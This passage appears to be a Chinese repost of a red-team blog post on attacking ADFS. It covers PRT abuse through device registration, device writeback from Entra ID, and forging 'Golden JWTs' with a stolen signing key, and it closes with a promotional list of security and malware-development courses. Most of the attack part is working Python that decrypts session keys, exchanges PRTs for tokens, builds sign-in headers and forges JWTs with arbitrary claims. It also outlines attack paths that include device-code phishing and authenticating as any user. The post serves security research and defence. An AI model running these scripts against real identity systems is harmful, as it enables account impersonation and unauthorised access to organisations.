{     “token_type” : “pop” ,    “refresh_token” : “SlZhQk16OQPrDS_J ...” ,    “refresh_token_expires_in” : 1209600 ,    “session_key_jwe” : “eyJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9B ...” ,    “id_token” : “eyJ0eXAiOiJKV1QiLCJh ...” }

session_key_jwe字段是将 PRT 交换为访问令牌所必需的,而访问令牌又使用msDS-KeyCredentialLink我们之前在设备注册期间添加的值进行加密。

为了解密这些值,我们可以使用ROADTools 代码decrypt_jwe_with_transport_key,如下所示:    

def decrypt_session_token(encrypted_jwt, encrypted_prt, encryption_key):        parts = encrypted_jwt.split(".")    body = parts[1]    body = body + "=" * (4 - len(body) % 4)        encrypted_key = base64.urlsafe_b64decode(body+('='*(len(body)%4)))    session_token = encryption_key.decrypt(encrypted_key, apadding.OAEP(apadding.MGF1(hashes.SHA1()), hashes.SHA1(), None))        return session_token

    

一旦我们有了 PRT 和会话密钥,我们就有几个选项可以使用它。第一个是通常的 PRT 到资源的访问令牌。这需要生成一个用会话令牌签名的 JWT:

def request_access_token(hostname, client_id, scopes, resource, eprt, signing_key, ctx):        token_url = f"https://{hostname}/adfs/oauth2/token"        header = {        "alg": "HS256",        "ctx": base64.b64encode(ctx).decode("utf-8"),        "kdf_ver"1    }        body = {        "scope": " ".join(scopes),        "client_id": client_id,        "resource": resource,        "iat": datetime.datetime.utcnow(),        "exp": datetime.datetime.utcnow() + datetime.timedelta(days=1),        "grant_type""refresh_token",        "refresh_token": eprt    }        token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)    response = requests.post(token_url, data="grant_type=urn:ietf:params:oauth:grant-type:jwt-bearer&request=" + token, verify=False)

对此的响应(与 Entra ID 对应项完全一样)使用 JWE 加密,需要解密。此代码已存在于 ROADToolsdecrypt_auth_response_derivedkey 函数中,因此我们可以使用它来拼凑:

def decrypt_prt(prt, signing_key, ctx):        parts = prt.split(".")        header, enckey, iv, ciphertext, authtag = prt.split('.')    header_decoded = base64.urlsafe_b64decode(header + '=' * (4 - len(header) % 4))        jwe_header = json.loads(header_decoded)    iv = base64.urlsafe_b64decode(iv + '=' * (4 - len(iv) % 4))    ciphertext = base64.urlsafe_b64decode(ciphertext + '=' * (4 - len(ciphertext) % 4))    authtag = base64.urlsafe_b64decode(authtag + '=' * (4 - len(authtag) % 4))        if jwe_header["enc"] == "A256GCM" and len(iv) == 12:        aesgcm = AESGCM(signing_key)        depadded_data = aesgcm.decrypt(iv, ciphertext + authtag, header.encode("utf-8"))        token = json.loads(depadded_data)    else:        cipher = Cipher(algorithms.AES(signing_key), modes.CBC(iv))        decryptor = cipher.decryptor()        decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()        unpadder = padding.PKCS7(128).unpadder()        depadded_data = unpadder.update(decrypted_data) + unpadder.finalize()        token = json.loads(depadded_data)        return token

第二个用例是熟悉的x-ms-RefreshTokenCredential标头,可用于直接登录 ADFS(对于访问等方面很有用/adfs/ls/idpinitiatedsignon.aspx):

def generate_prt_header(hostname, client_id, eprt, signing_key, ctx):        token_url = f"https://{hostname}/adfs/oauth2/token"    try:        response = requests.post(token_url, data="grant_type=srv_challenge", verify=False)        nonce = response.json()["Nonce"]    except Exception as e:        print("Failed to get nonce: " + str(e))        sys.exit(1)        header = {        "alg": "HS256",        "ctx": base64.b64encode(ctx).decode("utf-8"),        "kdf_ver"1    }        body = {        "refresh_token": eprt,        "request_nonce": nonce    }        token = jwt.encode(body, signing_key, algorithm="HS256", headers=header)        print("x-ms-RefreshTokenCredential: {}".format(token))

如果我们将此令牌注入到请求的标头中/adfs/ls/idpinitiatedsignon.aspx,我们将看到我们可以登录:

为了让这一切在操作时更容易一些,我创建了一些 Python 脚本,可以在github.com/xpn/adfstoo… 找到:

  • register_device.py- 执行 DRS 注册以创建msDS-Device
  • access_token.py- 向 PRT 请求访问令牌
  • eprt.py- 生成新的企业 PRT

然后 Azure Hybrid Join 诞生了

因此,我们拥有所有这些 DRS 功能。如果我们评估的环境使用 Hybrid Join 到 Entra ID,会发生什么情况?在这种情况下,我们实际上发现 DRS 会自动关闭,正如我们在 ADFS 反汇编中看到的那样:

但是,虽然这会关闭 DRS HTTP 服务,但它仍然允许设备身份验证。但为什么呢?禁用所有设备注册功能不是很有意义吗?其实并不完全如此,因为 Entra ID 仍然以设备回写的形式支持 ADFS 设备身份验证。

Entra Connect 设备回写

如果在推出 Entra Connect 期间启用了设备写回,msDS-Device则对象将与其 Entra ID 设备对象对应部分同步。

在 Entra Connect 中,我们看到启用设备写回的选项:

当在 Entra ID 中注册新设备时,我们会看到 ID 被写入CN=RegisteredDevices容器,与我们之前的 DRS 注册示例完全相同,不同之处在于该MSOL_帐户将是对象的所有者,而不是 ADFS 服务帐户:

由于 Entra ID 可能遭受多种攻击,因此这可以提供一种途径,使用帖子中概述的方法将您的访问权限迁移到 ADFS。

那么,让我们快速回顾一下到目前为止我们经过的攻击路径:

  1. 如果组织启用了 DRS,并且在服务连接点 LDAP 条目中没有混合加入,则您可能会使用设备代码 OAuth2 流进行网络钓鱼以访问 ADFS。
  2. 如果组织启用了 DRS,但在服务连接点 LDAP 条目中启用了混合连接,则 DRS Web 服务将被禁用,但如果执行了新的 Entra ID 设备注册,设备写回可以提供访问 ADFS 的方法。
  3. 无论如何,如果 ADFS 使用 OAuth2,则很可能启用设备代码身份验证,因此,可以再次使用网络钓鱼来针对其他应用程序集成。
  4. 如果我们可以控制msDS-Device并启用设备身份验证,我们可以通过修改msDS-RegisteredOwnermsDS-RegisteredUsers使用设备证书以任何用户身份向 ADFS 进行身份验证

让我们通过了解 Golden JWT 的概念来结束本文。

黄金 JWT

这与 Golden SAML 类似,如果我们有正确的签名密钥,我们就可以为第三方集成伪造适当的 JWT。

让我们使用之前设置的 ClaimsXRay 实验室来实现以下目标:

正如我们在顺利流程中看到的那样,令牌中的声明被反映给我们:

现在让我们看看我们是否可以伪造 JWT 中的声明!如果我们分析现有访问令牌的内容,我们就会得到有关用于签署 JWT 的内容的提示:

{  "typ": "JWT",  "alg": "RS256",  "x5t": "AYq-eHNpTwfrqqTw03y4wsIE0GQ",  "kid": "AYq-eHNpTwfrqqTw03y4wsIE0GQ"}

x5t头值是用于签名的证书的指纹。解码后,我们可以看到:

如果我们查看 ADFS 实例的签名证书:

这意味着我们为 Golden SAML 转储的相同证书也用于 JWT 签名,这使我们的工作变得更加轻松,因为用于转储的工具和技术已经在这里可用。

如果我们使用私钥,我们可以编写一个简单的 Python 脚本来生成一个带有我们想要的任何声明的新 JWT:

import jwtfrom cryptography.hazmat.primitives import serializationfrom cryptography.hazmat.primitives.asymmetric import rsafrom cryptography.hazmat.primitives import hashesfrom cryptography.hazmat.primitives.asymmetric import paddingfrom cryptography.x509 import load_pem_x509_certificateimport base64import sysimport jsonimport hashlibimport timedef generate_kid(cert):    public_key = cert.public_key().public_bytes(        serialization.Encoding.PEM,        serialization.PublicFormat.SubjectPublicKeyInfo    )    return base64.urlsafe_b64encode(hashlib.sha1(public_key).digest()).decode("utf-8").rstrip("=")def spoof_jwt(claims, private_key, public_key, include_timestamp=True):    kid = generate_kid(public_key)    header = {        "alg": "RS256",        "x5c": kid,        "kid": kid    }    if include_timestamp:        claims["iat"] = int(time.time())        claims["exp"] = claims["iat"] + 600        claims["nbf"] = claims["iat"] - 60    token = jwt.encode(claims, private_key, algorithm="RS256", headers=header)    return tokenif __name__ == "__main__":    if len(sys.argv) < 4:        print("Usage: python3 spoof.py <private_key_path> <cert_path> <claims_path>")        sys.exit(1)    # Load your RSA private key    with open(sys.argv[1], "rb") as key_file:        private_key = serialization.load_pem_private_key(key_file.read(), password=None)    with open(sys.argv[2], "rb") as cert_file:        cert = load_pem_x509_certificate(cert_file.read())    with open(sys.argv[3], "r") as claims_file:        claims = json.load(claims_file)    token = spoof_jwt(claims, private_key, cert)    print(token)

我们可以再次替换传递给 ClaimsXRay 的生成的访问令牌,并看到我们可以添加我们想要的任何声明或范围:

结论

以上就是我们对 ADFS OAuth2、DRS、设备身份验证、设备回写和一些 Golden JWT 的总结。有些有用,有些没那么有用(但同样有趣)。

如果您正在 Google 上搜索 UUID,并且刚刚偶然发现了客户的 ADFS 部署,希望这篇文章能让您的生活变得更轻松一些。

如果是这样,请告诉我并分享这个故事!

参考文献及致谢

github.com/haidragon

gitee.com/haidragon

公众号:安全狗的自我修养

bilibili:haidragonx

其它相关课程图片图片图片图片

图片

rust语言全栈开发视频教程-第一季(2025最新)

图片图片图片

详细目录

mac/ios安全视频

图片

QT开发底层原理与安全逆向视频教程

图片

linux文件系统存储与文件过滤安全开发视频教程(2024最新)

图片

linux高级usb安全开发与源码分析视频教程

图片

linux程序设计与安全开发

图片


  • 图片
  • windows网络安全防火墙与虚拟网卡(更新完成)
  • 图片
  • windows文件过滤(更新完成)
  • 图片
  • USB过滤(更新完成)
  • 图片
  • 游戏安全(更新中)
  • 图片
  • ios逆向
  • 图片
  • windbg
  • 图片
  • 还有很多免费教程(限学员)
  • 图片图片图片
  • 图片
  • windows恶意软件开发与对抗视频教程
  • 图片
  • 图片
  •  
  • 图片